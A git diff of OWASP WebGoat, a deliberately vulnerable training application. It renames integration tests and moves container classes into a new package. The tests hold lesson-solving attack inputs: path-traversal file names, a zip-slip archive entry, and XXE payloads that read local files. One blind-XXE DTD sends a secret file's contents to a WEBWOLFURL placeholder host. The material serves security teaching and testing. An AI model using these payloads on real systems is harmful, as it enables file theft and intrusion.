@@ -60,13 +58,13 @@ public class PathTraversalTest extends IntegrationTest {
                         .cookie("JSESSIONID", getWebGoatCookie())
                         .multiPart("uploadedFile", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
                         .param("fullName", "../John Doe")
-                        .post("/WebGoat/PathTraversal/profile-upload")
+                        .post(url("/WebGoat/PathTraversal/profile-upload"))
                         .then()
                         .statusCode(200)
                         .extract().path("lessonCompleted"), CoreMatchers.is(true));
     }
 
-    public void assignment2() throws IOException {
+    private void assignment2() throws IOException {
         MatcherAssert.assertThat(
                 RestAssured.given()
                         .when()
@@ -74,47 +72,48 @@ public class PathTraversalTest extends IntegrationTest {
                         .cookie("JSESSIONID", getWebGoatCookie())
                         .multiPart("uploadedFileFix", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
                         .param("fullNameFix", "..././John Doe")
-                        .post("/WebGoat/PathTraversal/profile-upload-fix")
+                        .post(url("/WebGoat/PathTraversal/profile-upload-fix"))
                         .then()
                         .statusCode(200)
                         .extract().path("lessonCompleted"), CoreMatchers.is(true));
     }
 
-    public void assignment3() throws IOException {
+    private void assignment3() throws IOException {
         MatcherAssert.assertThat(
                 RestAssured.given()
                         .when()
                         .relaxedHTTPSValidation()
                         .cookie("JSESSIONID", getWebGoatCookie())
                         .multiPart("uploadedFileRemoveUserInput", "../test.jpg", Files.readAllBytes(fileToUpload.toPath()))
-                        .post("/WebGoat/PathTraversal/profile-upload-remove-user-input")
+                        .post(url("/WebGoat/PathTraversal/profile-upload-remove-user-input"))
                         .then()
                         .statusCode(200)
                         .extract().path("lessonCompleted"), CoreMatchers.is(true));
     }
 
-    public void assignment4() throws IOException {
+    private void assignment4() throws IOException {
         var uri = "/WebGoat/PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret";
         RestAssured.given().urlEncodingEnabled(false)
                 .when()
                 .relaxedHTTPSValidation()
                 .cookie("JSESSIONID", getWebGoatCookie())
-                .get(uri)
+                .get(url(uri))
                 .then()
                 .statusCode(200)
-                .content(CoreMatchers.is("You found it submit the SHA-512 hash of your username as answer"));
+                .body(CoreMatchers.is("You found it submit the SHA-512 hash of your username as answer"));
 
-        checkAssignment("/WebGoat/PathTraversal/random", Map.of("secret", Sha512DigestUtils.shaHex(getWebgoatUser())), true);
+        checkAssignment(url("/WebGoat/PathTraversal/random"), Map.of("secret",
+                Sha512DigestUtils.shaHex(this.getUser())), true);
     }
 
-    public void assignment5() throws IOException {
+    private void assignment5() throws IOException {
-        var webGoatHome = System.getProperty("user.dir") + "/target/.webgoat/PathTraversal/" + getWebgoatUser();
+        var webGoatHome = webGoatServerDirectory() + "PathTraversal/" + this.getUser();
         webGoatHome = webGoatHome.replaceAll("^[a-zA-Z]:", ""); //Remove C: from the home directory on Windows
 
         var webGoatDirectory = new File(webGoatHome);
-        var zipFile = new File(webGoatDirectory, "upload.zip");
+        var zipFile = new File(tempDir.toFile(), "upload.zip");
         try (var zos = new ZipOutputStream(new FileOutputStream(zipFile))) {
-            ZipEntry e = new ZipEntry("../../../../../../../../../../" + webGoatDirectory.toString() + "/image.jpg");
+            ZipEntry e = new ZipEntry("../../../../../../../../../../" + webGoatDirectory + "/image.jpg");
             zos.putNextEntry(e);
             zos.write("test".getBytes(StandardCharsets.UTF_8));
         }
@@ -124,15 +123,14 @@ public class PathTraversalTest extends IntegrationTest {
                         .relaxedHTTPSValidation()
                         .cookie("JSESSIONID", getWebGoatCookie())
                         .multiPart("uploadedFileZipSlip", "upload.zip", Files.readAllBytes(zipFile.toPath()))
-                        .post("/WebGoat/PathTraversal/zip-slip")
+                        .post(url("/WebGoat/PathTraversal/zip-slip"))
                         .then()
                         .statusCode(200)
                         .extract().path("lessonCompleted"), CoreMatchers.is(true));
-
     }
 
     @AfterEach
-    public void shutdown() {
+    void shutdown() {
         //this will run only once after the list of dynamic tests has run, this is to test if the lesson is marked complete
         checkResults("/PathTraversal");
     }

src/it/java/org/owasp/webgoat/ProgressRaceConditionIntegrationTest.java

@@ -2,7 +2,6 @@ package org.owasp.webgoat;
 
 import io.restassured.RestAssured;
 import io.restassured.response.Response;
-import lombok.extern.log4j.Log4j;
 
 import org.assertj.core.api.Assertions;
 import org.junit.jupiter.api.Test;
@@ -16,7 +15,7 @@ import java.util.concurrent.Executors;
 import java.util.stream.Collectors;
 import java.util.stream.IntStream;
 
-public class ProgressRaceConditionTest extends IntegrationTest {
+public class ProgressRaceConditionIntegrationTest extends IntegrationTest {
 
     @Test
     public void runTests() throws InterruptedException {

src/it/java/org/owasp/webgoat/SSRFIntegrationTest.java

@@ -6,7 +6,7 @@ import java.util.Map;
 
 import org.junit.jupiter.api.Test;
 
-public class SSRFTest extends IntegrationTest {
+public class SSRFIntegrationTest extends IntegrationTest {
     
     @Test
     public void runTests() throws IOException {

src/it/java/org/owasp/webgoat/SeleniumIntegrationTest.java

@@ -14,7 +14,7 @@ import org.openqa.selenium.firefox.FirefoxOptions;
 import io.github.bonigarcia.wdm.WebDriverManager;
 import io.github.bonigarcia.wdm.config.DriverManagerType;
 
-public class SeleniumTest extends IntegrationTest {
+public class SeleniumIntegrationTest extends IntegrationTest {
 
 	static {
 		try {
@@ -37,14 +37,14 @@ public class SeleniumTest extends IntegrationTest {
 			driver.get(url("/login"));
 			driver.manage().timeouts().implicitlyWait(30, TimeUnit.SECONDS);
 			// Login
-			driver.findElement(By.name("username")).sendKeys(getWebgoatUser());
+			driver.findElement(By.name("username")).sendKeys(this.getUser());
 			driver.findElement(By.name("password")).sendKeys("password");
 			driver.findElement(By.className("btn")).click();
 
 			// Check if user exists. If not, create user.
 			if (driver.getCurrentUrl().equals(url("/login?error"))) {
 				driver.get(url("/registration"));
-				driver.findElement(By.id("username")).sendKeys(getWebgoatUser());
+				driver.findElement(By.id("username")).sendKeys(this.getUser());
 				driver.findElement(By.id("password")).sendKeys("password");
 				driver.findElement(By.id("matchingPassword")).sendKeys("password");
 				driver.findElement(By.name("agree")).click();
@@ -73,27 +73,27 @@ public class SeleniumTest extends IntegrationTest {
 		driver.findElement(By.id("restart-lesson-button")).click();
 		driver.get(url("/start.mvc#lesson/SqlInjection.lesson/0"));
 		driver.get(url("/start.mvc#lesson/SqlInjection.lesson/1"));
-		driver.findElement(By.name("query")).sendKeys(SqlInjectionLessonTest.sql_2);
+		driver.findElement(By.name("query")).sendKeys(SqlInjectionLessonIntegrationTest.sql_2);
 		driver.findElement(By.name("query")).submit();
 
 		driver.get(url("/start.mvc#lesson/SqlInjection.lesson/2"));
-		driver.findElements(By.name("query")).get(1).sendKeys(SqlInjectionLessonTest.sql_3);
+		driver.findElements(By.name("query")).get(1).sendKeys(SqlInjectionLessonIntegrationTest.sql_3);
 		driver.findElements(By.name("query")).get(1).submit();
 
 		driver.get(url("/start.mvc#lesson/SqlInjection.lesson/3"));
-		driver.findElements(By.name("query")).get(2).sendKeys(SqlInjectionLessonTest.sql_4_drop);
+		driver.findElements(By.name("query")).get(2).sendKeys(SqlInjectionLessonIntegrationTest.sql_4_drop);
 		driver.findElements(By.name("query")).get(2).submit();
 
 		driver.get(url("/start.mvc#lesson/SqlInjection.lesson/3"));
 		driver.findElements(By.name("query")).get(2).clear();
-		driver.findElements(By.name("query")).get(2).sendKeys(SqlInjectionLessonTest.sql_4_add);
+		driver.findElements(By.name("query")).get(2).sendKeys(SqlInjectionLessonIntegrationTest.sql_4_add);
 		driver.findElements(By.name("query")).get(2).submit();
 		driver.findElements(By.name("query")).get(2).clear();
-		driver.findElements(By.name("query")).get(2).sendKeys(SqlInjectionLessonTest.sql_4_drop);
+		driver.findElements(By.name("query")).get(2).sendKeys(SqlInjectionLessonIntegrationTest.sql_4_drop);
 		driver.findElements(By.name("query")).get(2).submit();
 
 		driver.get(url("/start.mvc#lesson/SqlInjection.lesson/4"));
-		driver.findElements(By.name("query")).get(3).sendKeys(SqlInjectionLessonTest.sql_5);
+		driver.findElements(By.name("query")).get(3).sendKeys(SqlInjectionLessonIntegrationTest.sql_5);
 		driver.findElements(By.name("query")).get(3).submit();
 
 		driver.get(url("/start.mvc#lesson/SqlInjection.lesson/8"));
@@ -103,8 +103,8 @@ public class SeleniumTest extends IntegrationTest {
 		driver.findElement(By.name("Get Account Info")).click();
 
 		driver.get(url("/start.mvc#lesson/SqlInjection.lesson/9"));
-		driver.findElement(By.name("userid")).sendKeys(SqlInjectionLessonTest.sql_10_userid);
+		driver.findElement(By.name("userid")).sendKeys(SqlInjectionLessonIntegrationTest.sql_10_userid);
-		driver.findElement(By.name("login_count")).sendKeys(SqlInjectionLessonTest.sql_10_login_count);
+		driver.findElement(By.name("login_count")).sendKeys(SqlInjectionLessonIntegrationTest.sql_10_login_count);
 		driver.findElements(By.name("Get Account Info")).get(1).click();
 	}
 

src/it/java/org/owasp/webgoat/SessionManagementIntegrationTest.java

@@ -1,7 +1,7 @@
 /*
  * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
  *
- * Copyright (c) 2002 - 2019 Bruce Mayhew
+ * Copyright (c) 2002 - 2021 Bruce Mayhew
  *
  * This program is free software; you can redistribute it and/or modify it under the terms of the
  * GNU General Public License as published by the Free Software Foundation; either version 2 of the
@@ -15,36 +15,33 @@
  * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
  * 02111-1307, USA.
  *
- * Getting Source ==============
+ * Getting Source
+ * ==============
  *
  * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
  */
 
-package org.owasp.webwolf.user;
+package org.owasp.webgoat;
 
-import lombok.Getter;
+import java.util.Map;
-import lombok.Setter;
 
-import javax.validation.constraints.NotNull;
+import org.junit.jupiter.api.Test;
-import javax.validation.constraints.Size;
 
 /**
- * @author nbaars
+ *
- * @since 3/19/17.
+ * @author Angel Olle Blazquez
+ *
  */
-@Getter
-@Setter
-public class UserForm {
 
-    @NotNull
+class SessionManagementIT extends IntegrationTest {
-    @Size(min=6, max=40)
+    
-    private String username;
+    private static final String HIJACK_LOGIN_CONTEXT_PATH = "/WebGoat/HijackSession/login";
-    @NotNull
+
-    @Size(min=6, max=10)
+
-    private String password;
+    @Test
-    @NotNull
+    void hijackSessionTest() {
-    @Size(min=6, max=10)
+        startLesson("HijackSession");
-    private String matchingPassword;
+        
-    @NotNull
+        checkAssignment(url(HIJACK_LOGIN_CONTEXT_PATH), Map.of("username", "webgoat", "password", "webgoat"), false);
-    private String agree;
+    }
 }

src/it/java/org/owasp/webgoat/SqlInjectionAdvancedIntegrationTest.java

@@ -5,7 +5,7 @@ import java.util.Map;
 
 import org.junit.jupiter.api.Test;
 
-public class SqlInjectionAdvancedTest extends IntegrationTest {
+public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest {
 
     @Test
     public void runTests() {

src/it/java/org/owasp/webgoat/SqlInjectionLessonIntegrationTest.java

@@ -5,7 +5,7 @@ import java.util.Map;
 
 import org.junit.jupiter.api.Test;
 
-public class SqlInjectionLessonTest extends IntegrationTest {
+public class SqlInjectionLessonIntegrationTest extends IntegrationTest {
 
     public static final String sql_2 = "select department from employees where last_name='Franco'";
     public static final String sql_3 = "update employees set department='Sales' where last_name='Barnett'";

src/it/java/org/owasp/webgoat/SqlInjectionMitigationIntegrationTest.java

@@ -10,7 +10,7 @@ import org.junit.jupiter.api.Test;
 
 import static org.hamcrest.CoreMatchers.containsString;
 
-public class SqlInjectionMitigationTest extends IntegrationTest {
+public class SqlInjectionMitigationIntegrationTest extends IntegrationTest {
 
     @Test
     public void runTests() {
@@ -59,7 +59,7 @@ public class SqlInjectionMitigationTest extends IntegrationTest {
                 .get(url("/WebGoat/SqlInjectionMitigations/servers?column=unknown"))
                 .then()
                 .statusCode(500)
-                .body("trace", containsString("select id, hostname, ip, mac, status, description from servers  where status <> 'out of order' order by"));
+                .body("trace", containsString("select id, hostname, ip, mac, status, description from SERVERS where status <> 'out of order' order by"));
 
         params.clear();
         params.put("ip", "104.130.219.202");

src/it/java/org/owasp/webgoat/WebWolfIntegrationTest.java

@@ -10,7 +10,7 @@ import org.junit.jupiter.api.Test;
 
 import io.restassured.RestAssured;
 
-public class WebWolfTest extends IntegrationTest {
+public class WebWolfIntegrationTest extends IntegrationTest {
     
     @Test
     public void runTests() throws IOException {
@@ -19,7 +19,7 @@ public class WebWolfTest extends IntegrationTest {
         //Assignment 3
         Map<String, Object> params = new HashMap<>();
         params.clear();
-        params.put("email", getWebgoatUser()+"@webgoat.org");
+        params.put("email", this.getUser()+"@webgoat.org");
         checkAssignment(url("/WebGoat/WebWolf/mail/send"), params, false);
         
         String responseBody = RestAssured.given()
@@ -31,7 +31,7 @@ public class WebWolfTest extends IntegrationTest {
                 .extract().response().getBody().asString();
         
         String uniqueCode = responseBody.replace("%20", " ");
-        uniqueCode = uniqueCode.substring(21+uniqueCode.lastIndexOf("your unique code is: "),uniqueCode.lastIndexOf("your unique code is: ")+(21+getWebgoatUser().length()));
+        uniqueCode = uniqueCode.substring(21+uniqueCode.lastIndexOf("your unique code is: "),uniqueCode.lastIndexOf("your unique code is: ")+(21+ this.getUser().length()));
         params.clear();
         params.put("uniqueCode", uniqueCode);
         checkAssignment(url("/WebGoat/WebWolf/mail"), params, true);

src/it/java/org/owasp/webgoat/XSSIntegrationTest.java

@@ -7,7 +7,7 @@ import java.util.Map;
 
 import org.junit.jupiter.api.Test;
 
-public class XSSTest extends IntegrationTest {
+public class XSSIntegrationTest extends IntegrationTest {
 
     
     @Test
@@ -16,7 +16,7 @@ public class XSSTest extends IntegrationTest {
 
         Map<String, Object> params = new HashMap<>();
         params.clear();
-        params.put("answer_xss_1", "yes");
+        params.put("checkboxAttack1", "value");
         checkAssignment(url("/CrossSiteScripting/attack1"), params, true);
 
         params.clear();

src/it/java/org/owasp/webgoat/XXEIntegrationTest.java

@@ -1,35 +1,27 @@
 package org.owasp.webgoat;
 
+import io.restassured.RestAssured;
+import io.restassured.http.ContentType;
+import org.junit.jupiter.api.Test;
+
 import java.io.IOException;
 import java.nio.file.Files;
 import java.nio.file.Path;
 import java.nio.file.Paths;
 
-import org.junit.jupiter.api.Test;
+public class XXEIntegrationTest extends IntegrationTest {
 
-import io.restassured.RestAssured;
+    private static final String xxe3 = """
-import io.restassured.http.ContentType;
+            <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>""";
-
+    private static final String xxe4 = """
-public class XXETest extends IntegrationTest {
+            <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>""";
-
+    private static final String dtd7 = """
-    private static final String xxe3 = "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE user [<!ENTITY xxe SYSTEM \"file:///\">]><comment><text>&xxe;test</text></comment>";
+            <?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;""";
-    private static final String xxe4 = "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE user [<!ENTITY xxe SYSTEM \"file:///\">]><comment><text>&xxe;test</text></comment>";
+    private static final String xxe7 = """
-    private static final String dtd7 = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!ENTITY % file SYSTEM \"file:SECRET\"><!ENTITY % all \"<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>\">%all;";
+            <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>""";
-    private static final String xxe7 = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM \"WEBWOLFURL/USERNAME/blind.dtd\">%remote;]><comment><text>test&send;</text></comment>";
 
     private String webGoatHomeDirectory;
-    private String webwolfFileDir;
+    private String webWolfFileServerLocation;
-
-    @Test
-    public void runTests() throws IOException {
-        startLesson("XXE");
-        webGoatHomeDirectory = getWebGoatServerPath();
-        webwolfFileDir = getWebWolfServerPath();
-        checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, true);
-        checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, true);
-        checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", true);
-        checkResults("xxe/");
-    }
 
     /*
      * This test is to verify that all is secure when XXE security patch is applied.
@@ -37,10 +29,15 @@ public class XXETest extends IntegrationTest {
     @Test
     public void xxeSecure() throws IOException {
         startLesson("XXE");
-        webGoatHomeDirectory = getWebGoatServerPath();
+        webGoatHomeDirectory = webGoatServerDirectory();
-        webwolfFileDir = getWebWolfServerPath();
+        webWolfFileServerLocation = getWebWolfFileServerLocation();
-        RestAssured.given().when().relaxedHTTPSValidation()
+        RestAssured.given()
-		.cookie("JSESSIONID", getWebGoatCookie()).get(url("/xxe/applysecurity"));
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .get(url("service/enable-security.mvc"))
+                .then()
+                .statusCode(200);
         checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, false);
         checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, false);
         checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", false);
@@ -54,11 +51,11 @@ public class XXETest extends IntegrationTest {
      */
     private String getSecret() throws IOException {
         //remove any left over DTD
-        Path webWolfFilePath = Paths.get(webwolfFileDir);
+        Path webWolfFilePath = Paths.get(webWolfFileServerLocation);
-        if (webWolfFilePath.resolve(Paths.get(getWebgoatUser(), "blind.dtd")).toFile().exists()) {
+        if (webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")).toFile().exists()) {
-            Files.delete(webWolfFilePath.resolve(Paths.get(getWebgoatUser(), "blind.dtd")));
+            Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")));
         }
-        String secretFile = webGoatHomeDirectory.concat("/XXE/secret.txt");
+        String secretFile = webGoatHomeDirectory.concat("/XXE/" + getUser() + "/secret.txt");
         String dtd7String = dtd7.replace("WEBWOLFURL", webWolfUrl("/landing")).replace("SECRET", secretFile);
 
         //upload DTD
@@ -67,12 +64,12 @@ public class XXETest extends IntegrationTest {
                 .relaxedHTTPSValidation()
                 .cookie("WEBWOLFSESSION", getWebWolfCookie())
                 .multiPart("file", "blind.dtd", dtd7String.getBytes())
-                .post(webWolfUrl("/WebWolf/fileupload"))
+                .post(webWolfUrl("/fileupload"))
                 .then()
                 .extract().response().getBody().asString();
         //upload attack
-        String xxe7String = xxe7.replace("WEBWOLFURL", webWolfUrl("/files")).replace("USERNAME", getWebgoatUser());
+        String xxe7String = xxe7.replace("WEBWOLFURL", webWolfUrl("/files")).replace("USERNAME", this.getUser());
-        checkAssignment(url("/WebGoat/xxe/blind?send=test"), ContentType.XML, xxe7String, false);
+        checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, xxe7String, false);
 
         //read results from WebWolf
         String result = RestAssured.given()
@@ -88,4 +85,15 @@ public class XXETest extends IntegrationTest {
         }
         return result;
     }
+
+    @Test
+    public void runTests() throws IOException {
+        startLesson("XXE", true);
+        webGoatHomeDirectory = webGoatServerDirectory();
+        webWolfFileServerLocation = getWebWolfFileServerLocation();
+        checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, true);
+        checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, true);
+        checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", true);
+        checkResults("xxe/");
+    }
 }

src/main/java/org/dummy/insecure/framework/VulnerableTaskHolder.java

@@ -10,6 +10,7 @@ import java.io.Serializable;
 import java.time.LocalDateTime;
 
 @Slf4j
+//TODO move back to lesson
 public class VulnerableTaskHolder implements Serializable {
 
 	private static final long serialVersionUID = 2;

src/main/java/org/owasp/webgoat/container/AjaxAuthenticationEntryPoint.java

@@ -27,7 +27,7 @@
  * for free software projects.
  */
 
-package org.owasp.webgoat;
+package org.owasp.webgoat.container;
 
 import org.springframework.security.core.AuthenticationException;
 import org.springframework.security.web.authentication.LoginUrlAuthenticationEntryPoint;
@@ -48,6 +48,7 @@ public class AjaxAuthenticationEntryPoint extends LoginUrlAuthenticationEntryPoi
         super(loginFormUrl);
     }
 
+    @Override
     public void commence(HttpServletRequest request, HttpServletResponse response, AuthenticationException authException) throws IOException, ServletException {
         if (request.getHeader("x-requested-with") != null) {
             response.sendError(401, authException.getMessage());

src/main/java/org/owasp/webgoat/container/AsciiDoctorTemplateResolver.java

@@ -29,13 +29,18 @@
  * @since December 12, 2015
  */
 
-package org.owasp.webgoat;
+package org.owasp.webgoat.container;
 
 import lombok.extern.slf4j.Slf4j;
 import org.asciidoctor.Asciidoctor;
 import org.asciidoctor.extension.JavaExtensionRegistry;
-import org.owasp.webgoat.asciidoc.*;
+import org.owasp.webgoat.container.asciidoc.OperatingSystemMacro;
-import org.owasp.webgoat.i18n.Language;
+import org.owasp.webgoat.container.asciidoc.UsernameMacro;
+import org.owasp.webgoat.container.asciidoc.WebGoatTmpDirMacro;
+import org.owasp.webgoat.container.asciidoc.WebGoatVersionMacro;
+import org.owasp.webgoat.container.asciidoc.WebWolfMacro;
+import org.owasp.webgoat.container.asciidoc.WebWolfRootMacro;
+import org.springframework.core.io.ResourceLoader;
 import org.thymeleaf.IEngineConfiguration;
 import org.thymeleaf.templateresolver.FileTemplateResolver;
 import org.thymeleaf.templateresource.ITemplateResource;
@@ -63,21 +68,18 @@ public class AsciiDoctorTemplateResolver extends FileTemplateResolver {
 
     private static final Asciidoctor asciidoctor = create();
     private static final String PREFIX = "doc:";
-    private final Language language;
+    private final ResourceLoader resourceLoader;
 
-    public AsciiDoctorTemplateResolver(Language language) {
+    public AsciiDoctorTemplateResolver(ResourceLoader resourceLoader) {
-        this.language = language;
+        this.resourceLoader = resourceLoader;
         setResolvablePatterns(Set.of(PREFIX + "*"));
     }
 
     @Override
     protected ITemplateResource computeTemplateResource(IEngineConfiguration configuration, String ownerTemplate, String template, String resourceName, String characterEncoding, Map<String, Object> templateResolutionAttributes) {
         var templateName = resourceName.substring(PREFIX.length());
-        try (InputStream is = readInputStreamOrFallbackToEnglish(templateName, language)) {
+
-            if (is == null) {
+        try (InputStream is = resourceLoader.getResource("classpath:/" + templateName).getInputStream()) {
-                log.warn("Resource name: {} not found, did you add the adoc file?", templateName);
-                return new StringTemplateResource("");
-            } else {
             JavaExtensionRegistry extensionRegistry = asciidoctor.javaExtensionRegistry();
             extensionRegistry.inlineMacro("webWolfLink", WebWolfMacro.class);
             extensionRegistry.inlineMacro("webWolfRootLink", WebWolfRootMacro.class);
@@ -89,29 +91,11 @@ public class AsciiDoctorTemplateResolver extends FileTemplateResolver {
             StringWriter writer = new StringWriter();
             asciidoctor.convert(new InputStreamReader(is), writer, createAttributes());
             return new StringTemplateResource(writer.getBuffer().toString());
-            }
         } catch (IOException e) {
-            //no html yet
+            return new StringTemplateResource("<div>Unable to find documentation for: " + templateName + " </div>");
-            return new StringTemplateResource("");
         }
     }
 
-    /**
-     * The resource name is for example HttpBasics_content1.adoc. This is always located in the following directory:
-     * <code>plugin/HttpBasics/lessonPlans/en/HttpBasics_content1.adoc</code>
-     */
-    private String computeResourceName(String resourceName, String language) {
-        return String.format("lessonPlans/%s/%s", language, resourceName);
-    }
-
-    private InputStream readInputStreamOrFallbackToEnglish(String resourceName, Language language) {
-        InputStream is = Thread.currentThread().getContextClassLoader().getResourceAsStream(computeResourceName(resourceName, language.getLocale().getLanguage()));
-        if (is == null) {
-            is = Thread.currentThread().getContextClassLoader().getResourceAsStream(computeResourceName(resourceName, "en"));
-        }
-        return is;
-    }
-
     private Map<String, Object> createAttributes() {
         Map<String, Object> attributes = new HashMap<>();
         attributes.put("source-highlighter", "coderay");

src/main/java/org/owasp/webgoat/container/DatabaseConfiguration.java

@@ -0,0 +1,68 @@
+package org.owasp.webgoat.container;
+
+import lombok.RequiredArgsConstructor;
+import lombok.extern.slf4j.Slf4j;
+import org.flywaydb.core.Flyway;
+import org.owasp.webgoat.container.lessons.LessonScanner;
+import org.owasp.webgoat.container.service.RestartLessonService;
+import org.springframework.boot.autoconfigure.jdbc.DataSourceProperties;
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.context.annotation.Primary;
+import org.springframework.jdbc.datasource.DriverManagerDataSource;
+
+import javax.sql.DataSource;
+import java.util.Map;
+import java.util.function.Function;
+
+@Configuration
+@RequiredArgsConstructor
+@Slf4j
+public class DatabaseConfiguration {
+
+    private final DataSourceProperties properties;
+    private final LessonScanner lessonScanner;
+
+    @Bean
+    @Primary
+    public DataSource dataSource() {
+        DriverManagerDataSource dataSource = new DriverManagerDataSource();
+        dataSource.setDriverClassName(properties.getDriverClassName());
+        dataSource.setUrl(properties.getUrl());
+        dataSource.setUsername(properties.getUsername());
+        dataSource.setPassword(properties.getPassword());
+        return dataSource;
+    }
+
+    /**
+     * Define 2 Flyway instances, 1 for WebGoat itself which it uses for internal storage like users and 1 for lesson
+     * specific tables we use. This way we clean the data in the lesson database quite easily see {@link RestartLessonService#restartLesson()}
+     * for how we clean the lesson related tables.
+     */
+    @Bean(initMethod = "migrate")
+    public Flyway flyWayContainer() {
+        return Flyway
+                .configure()
+                .configuration(Map.of("driver", properties.getDriverClassName()))
+                .dataSource(dataSource())
+                .schemas("container")
+                .locations("db/container")
+                .load();
+    }
+
+    @Bean
+    public Function<String, Flyway> flywayLessons(LessonDataSource lessonDataSource) {
+        return schema -> Flyway
+                .configure()
+                .configuration(Map.of("driver", properties.getDriverClassName()))
+                .schemas(schema)
+                .dataSource(lessonDataSource)
+                .locations("lessons")
+                .load();
+    }
+
+    @Bean
+    public LessonDataSource lessonDataSource() {
+        return new LessonDataSource(dataSource());
+    }
+}

src/main/java/org/owasp/webgoat/container/HammerHead.java

@@ -1,16 +1,12 @@
-package org.owasp.webgoat;
+package org.owasp.webgoat.container;
 
 import lombok.AllArgsConstructor;
-import org.owasp.webgoat.session.Course;
+import org.owasp.webgoat.container.session.Course;
-import org.springframework.security.core.Authentication;
 import org.springframework.stereotype.Controller;
 import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.RequestMethod;
 import org.springframework.web.servlet.ModelAndView;
 
-import javax.servlet.http.HttpServletRequest;
-import javax.servlet.http.HttpServletResponse;
-
 /**
  * *************************************************************************************************
  * <p>
@@ -55,7 +51,7 @@ public class HammerHead {
      * Entry point for WebGoat, redirects to the first lesson found within the course.
      */
     @RequestMapping(path = "/attack", method = {RequestMethod.GET, RequestMethod.POST})
-    public ModelAndView attack(Authentication authentication, HttpServletRequest request, HttpServletResponse response) {
+    public ModelAndView attack() {
         return new ModelAndView("redirect:" + "start.mvc" + course.getFirstLesson().getLink());
     }
 }

src/main/java/org/owasp/webgoat/container/LessonDataSource.java

@@ -1,6 +1,6 @@
-package org.owasp.webgoat;
+package org.owasp.webgoat.container;
 
-import org.owasp.webgoat.lessons.LessonConnectionInvocationHandler;
+import org.owasp.webgoat.container.lessons.LessonConnectionInvocationHandler;
 import org.springframework.jdbc.datasource.ConnectionProxy;
 
 import javax.sql.DataSource;

src/main/java/org/owasp/webgoat/container/LessonTemplateResolver.java

@@ -29,8 +29,9 @@
  * @since October 28, 2003
  */
 
-package org.owasp.webgoat;
+package org.owasp.webgoat.container;
 
+import lombok.extern.slf4j.Slf4j;
 import org.springframework.core.io.ResourceLoader;
 import org.thymeleaf.IEngineConfiguration;
 import org.thymeleaf.templateresolver.FileTemplateResolver;
@@ -49,9 +50,10 @@ import java.util.Set;
  * <code>
  * <div th:case="true" th:replace="lesson:__${lesson.class.simpleName}__"></div>
  * </code>
- *
+ * <p>
  * Thymeleaf will invoke this resolver based on the prefix and this implementation will resolve the html in the plugins directory
  */
+@Slf4j
 public class LessonTemplateResolver extends FileTemplateResolver {
 
     private static final String PREFIX = "lesson:";
@@ -65,15 +67,15 @@ public class LessonTemplateResolver extends FileTemplateResolver {
 
     @Override
     protected ITemplateResource computeTemplateResource(IEngineConfiguration configuration, String ownerTemplate, String template, String resourceName, String characterEncoding, Map<String, Object> templateResolutionAttributes) {
-        var templateName = resourceName.substring(PREFIX.length());;
+        var templateName = resourceName.substring(PREFIX.length());
         byte[] resource = resources.get(templateName);
         if (resource == null) {
             try {
-                resource = resourceLoader.getResource("classpath:/html/" + templateName + ".html").getInputStream().readAllBytes();
+                resource = resourceLoader.getResource("classpath:/" + templateName).getInputStream().readAllBytes();
             } catch (IOException e) {
-                e.printStackTrace();
+                log.error("Unable to find lesson HTML: {}", template);
             }
-            resources.put(resourceName, resource);
+            resources.put(templateName, resource);
         }
         return new StringTemplateResource(new String(resource, StandardCharsets.UTF_8));
     }

src/main/java/org/owasp/webgoat/container/MvcConfiguration.java

@@ -29,70 +29,107 @@
  * @since October 28, 2003
  */
 
-package org.owasp.webgoat;
+package org.owasp.webgoat.container;
 
-import org.owasp.webgoat.i18n.Language;
+import lombok.RequiredArgsConstructor;
-import org.owasp.webgoat.i18n.Messages;
+import org.owasp.webgoat.container.i18n.Language;
-import org.owasp.webgoat.i18n.PluginMessages;
+import org.owasp.webgoat.container.i18n.Messages;
-import org.owasp.webgoat.session.LabelDebugger;
+import org.owasp.webgoat.container.i18n.PluginMessages;
+import org.owasp.webgoat.container.lessons.LessonScanner;
